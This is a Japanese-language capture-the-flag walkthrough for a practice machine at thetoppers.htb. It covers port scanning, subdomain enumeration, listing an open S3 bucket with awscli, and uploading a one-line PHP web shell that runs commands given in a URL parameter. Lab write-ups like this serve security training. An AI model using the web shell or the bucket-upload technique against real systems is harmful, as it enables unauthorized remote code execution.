- nmap
- 22, 80が開いている。
- webアクセス
- サイト内にメールアドレスがある。
- phpで動いている。
- メールアドレスのドメインを
/etc/hostに追記 gobusterでサブドメイン列挙。s3を発見。- サブドメイン付きも
/etc/hosts追記。
awscliでバケット確認- webルートがある。
- phpリバースシェル配置
shell.phpをサーバーにコピーする。
- RCE
ターゲットのipは$ipとする。
nmap -p- --min-rate 1000 -sV $ip22(SSH), 80(HTTP)が開いている。
http://$ipでアクセスしてソースコードを見ると、phpでメールを送っていることが分かる。
また、管理者のメールアドレスとしてmail@thetoppers.htbが記載されているため、/etc/hostsに$ip thetoppers.htbを追加する。
(理由はこちらのwriteupを参照)
サブドメインがないか辞書攻撃で列挙する。
gobuster vhost -u http://thetoppers.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domainvhost: バーチャルホスト調査モード-u: URL指定-w: ワードリスト指定/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt: サブドメイン特化の辞書--append-domain: <word>.thetoppers.htbを探索するオプション
結果、s3.thetoppers.htbが見つかった。これは AWS S3 であると予想される。
/etc/hostsに$ip s3.thetoppers.htbを追記する。
awsをcliから操作するコマンドとしてawscliがあるのでまずはインストール。
sudo apt install awscli次にターゲットのs3の情報を見る。
# 初期設定:全てtmpとしておいて良い。
aws configure
# バケットの確認
aws --endpoint-url http://s3.thetoppers.htb s3 lsconfigure: ユーザーの初期設定(今回の問題では適当でいい)--endpoint-url: 接続するサイトs3: s3サービスが対象ls: ファイル・フォルダの列挙
thetoppers.htbというバケットがあるので中身を確認。
aws --endpoint-url http://s3.thetoppers.htb s3 ls s3://thetoppers.htb images, index.php, .htaccessがあるのでwebのバケットであることが分かる。
このバケットにリバースシェルを配置する。
shell.php
<?php system($_GET["cmd"]); ?>aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb cp <src> <dist>: srcのファイルをdistにコピー
Webでhttp://thetoppers.htb/shell.php?cmd=<任意のコマンド>で結果が得られる。../flag.txtを読み込んでクリア。